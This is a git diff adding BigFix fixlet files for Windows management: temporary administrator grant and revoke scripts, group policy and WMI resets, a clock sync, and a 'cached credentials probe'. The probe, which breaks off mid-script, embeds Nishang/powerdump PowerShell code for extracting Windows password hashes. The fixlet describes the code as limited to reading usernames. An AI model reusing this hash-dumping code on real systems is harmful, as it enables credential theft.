+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Temporary Administrators - Windows (24162).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Temporary Administrators - Windows (24162).bes
new file mode 100644
index 000000000..bcad7cef8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Temporary Administrators - Windows (24162).bes	
@@ -0,0 +1,184 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Remove Expired Users from Temporary Administrators - Windows
+  ID       : 24162
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:26:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Remove Expired Users from Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes any expired temporary administrators as provisioned by the temporary administrator fixlet in the C3-Inventory site.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists values "Expiration" whose (it as time < now) of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry]]></Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{concatenations ";" of names of keys whose (value "Expiration" of it as string as time < now) of key "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Revoke -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Reset Local Group Policy - Windows (22647).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Reset Local Group Policy - Windows (22647).bes
new file mode 100644
index 000000000..1353a0b70
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Reset Local Group Policy - Windows (22647).bes	
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Reset Local Group Policy - Windows
+  ID       : 22647
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:17:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Reset Local Group Policy - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet resets local Group Policy.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists SELECT objects &quot;* FROM RSOP_RegistryPolicySetting WHERE GPOID=&apos;LocalGPO&apos; and valueName != &apos;&apos;&quot; /* valueName != &apos;&apos; removes blank keys, not sure if this breaks anything*/ of rsop computer wmi</Relevance>
+    <Category>Group Policy</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+delete run.bat
+
+createfile until _end_
+RD /S /Q &quot;%WinDir%\System32\GroupPolicyUsers&quot;
+RD /S /Q &quot;%WinDir%\System32\GroupPolicy&quot;
+echo n | gpupdate /target:computer /force /wait:120
+echo n | gpupdate /target:user /force /wait:120
+_end_
+
+move __createfile run.bat
+
+waithidden run.bat</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Sync Client Clock - Windows (24110).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Sync Client Clock - Windows (24110).bes
new file mode 100644
index 000000000..222d4f7c6
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Sync Client Clock - Windows (24110).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Sync Client Clock - Windows
+  ID       : 24110
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-22T05:02:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Sync Client Clock - Windows</Title>
+    <Description><![CDATA[<P>This fixlet forces a sync of the client clock on Windows.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-04-21</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+waithidden net stop w32time
+waithidden net start w32time
+waithidden w32tm /resync /rediscover</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - WMI Repository Reset - Windows (22648).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - WMI Repository Reset - Windows (22648).bes
new file mode 100644
index 000000000..4aab5bddf
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - WMI Repository Reset - Windows (22648).bes	
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - WMI Repository Reset - Windows
+  ID       : 22648
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:18:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - WMI Repository Reset - Windows</Title>
+    <Description><![CDATA[<P>This fixlet will reset WMI it will be relevant on any Windows computer.</P>
+<P><STRONG><FONT color=#ff0000>NOTE</FONT></STRONG>: Setting this fixlet to reapply will cause it to constantly reset the WMI repository. Apply once and DO NOT reapply.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Category>Windows Management Interface</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action23640">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+delete __createfile
+delete wmi_simple.bat
+
+createfile until __END
+
+taskkill /IM "wmiprvse.exe" /f
+net stop winmgmt /Y
+
+winmgmt /resetrepository
+for /f %%s in ('dir /b *.mof *.mfl') do mofcomp %%s
+for /f %%s in ('dir /b *.dll') do regsvr32 /s %%s
+
+net start winmgmt
+
+__END
+
+
+copy __createfile wmi_simple.bat
+
+waithidden cmd.exe /c wmi_simple.bat > {value of variable "temp" of environment}\wmi_simple.log 2>&1]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Cached Credentials Probe - Windows (20768).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Cached Credentials Probe - Windows (20768).bes
new file mode 100644
index 000000000..b62c206e1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Cached Credentials Probe - Windows (20768).bes	
@@ -0,0 +1,422 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Windows Cached Credentials Probe - Windows
+  ID       : 20768
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-06-01T15:59:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Windows Cached Credentials Probe - Windows</Title>
+    <Description><![CDATA[<P>This fixlet uses published methods of extracting password hashes out of Windows systems in order to extract out the user name of the users whose credentials are cached on the workstation.</P>
+<P>The script used by this fixlet stops short of extracting the password hash and ONLY extracts the user name associated with the cached credential.</P>
+<P>This script is paired with the <STRONG>Analysis: Credentials - Cached Login Creds - Windows</STRONG></P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Windows-Credentials">https://github.com/strawgate/C3-Protect/wiki/Windows-Credentials</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Category>Credential Caching</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-01</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+// Enter your action script here
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\WinCreds"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+<#
+.SYNOPSIS
+Nishang payload which dumps password hashes.
+
+.DESCRIPTION
+The payload dumps password hashes using the modified powerdump script from MSF. Administrator privileges are required for this script
+(but not SYSTEM privs as for the original powerdump)
+
+.EXAMPLE
+PS > Get-PassHashes
+
+.LINK
+http://www.labofapenetrationtester.com/2013/05/poshing-hashes-part-2.html?showComment=1386725874167#c8513980725823764060
+https://github.com/samratashok/nishang
+
+#>
+#######################################powerdump written by David Kennedy#########################################
+
+#######################################powerdump written by David Kennedy#########################################
+function LoadApi
+{{
+    $oldErrorAction = $global:ErrorActionPreference;
+    $global:ErrorActionPreference = "SilentlyContinue";
+    $test = [PowerDump.Native];
+    $global:ErrorActionPreference = $oldErrorAction;
+    if ($test)
+    {{
+        # already loaded
+        return;
+     }
+
+$code = @'
+using System;
+using System.Security.Cryptography;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace PowerDump
+{{
+    public class Native
+    {{
+    [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
+     public static extern int RegOpenKeyEx(
+        int hKey,
+        string subKey,
+        int ulOptions,
+        int samDesired,
+        out int hkResult);
+
+    [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
+    extern public static int RegEnumKeyEx(
+        int hkey,
+        int index,
+        StringBuilder lpName,
+        ref int lpcbName,
+        int reserved,
+        StringBuilder lpClass,
+        ref int lpcbClass,
+        out long lpftLastWriteTime);
+
+    [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
+    extern public static int RegQueryInfoKey(
+        int hkey,
+        StringBuilder lpClass,
+        ref int lpcbClass,
+        int lpReserved,
+        out int lpcSubKeys,
+        out int lpcbMaxSubKeyLen,
+        out int lpcbMaxClassLen,
+        out int lpcValues,
+        out int lpcbMaxValueNameLen,
+        out int lpcbMaxValueLen,
+        out int lpcbSecurityDescriptor,
+        IntPtr lpftLastWriteTime);
+
+    [DllImport("advapi32.dll", SetLastError=true)]
+    public static extern int RegCloseKey(
+        int hKey);
+
+        }
+    } // end namespace PowerDump
+
+    public class Shift {{
+        public static int   Right(int x,   int count) {{ return x >> count; }
+        public static uint  Right(uint x,  int count) {{ return x >> count; }
+        public static long  Right(long x,  int count) {{ return x >> count; }
+        public static ulong Right(ulong x, int count) {{ return x >> count; }
+        public static int    Left(int x,   int count) {{ return x << count; }
+        public static uint   Left(uint x,  int count) {{ return x << count; }
+        public static long   Left(long x,  int count) {{ return x << count; }
+        public static ulong  Left(ulong x, int count) {{ return x << count; }
+    }
+'@
+
+   $provider = New-Object Microsoft.CSharp.CSharpCodeProvider
+   $dllName = [PsObject].Assembly.Location
+   $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
+   $assemblies = @("System.dll", $dllName)
+   $compilerParameters.ReferencedAssemblies.AddRange($assemblies)
+   $compilerParameters.GenerateInMemory = $true
+   $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
+   if($compilerResults.Errors.Count -gt 0) {{
+     $compilerResults.Errors | % {{ Write-Error ("{{0}:`t{{1}" -f $_.Line,$_.ErrorText) }
+   }
+
+}
+
+$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
+$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
+$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
+$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
+$odd_parity = @(
+  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
+  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
+  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
+  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
+  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
+  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
+  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
+  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
+  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
+  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
+  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
+  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
+  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
+  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
+  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
+  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
+);
+
+function sid_to_key($sid)
+{{
+    $s1 = @();
+    $s1 += [char]($sid -band 0xFF);
+    $s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
+    $s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
+    $s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
+    $s1 += $s1[0];
+    $s1 += $s1[1];
+    $s1 += $s1[2];
+    $s2 = @();
+    $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
+    $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
+    return ,((str_to_key $s1),(str_to_key $s2));
+}
+
+function str_to_key($s)
+{{
+    $key = @();
+    $key += [Shift]::Right([int]($s[0]), 1 );
+    $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
+    $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
+    $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
+    $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
+    $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
+    $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
+    $key += $([int]($s[6]) -band 0x7F);
+    0..7 | %{{
+        $key[$_] = [Shift]::Left($key[$_], 1);
+        $key[$_] = $odd_parity[$key[$_]];
+        }
+    return ,$key;
+}
+
+function NewRC4([byte[]]$key)
+{{
+    return new-object Object |
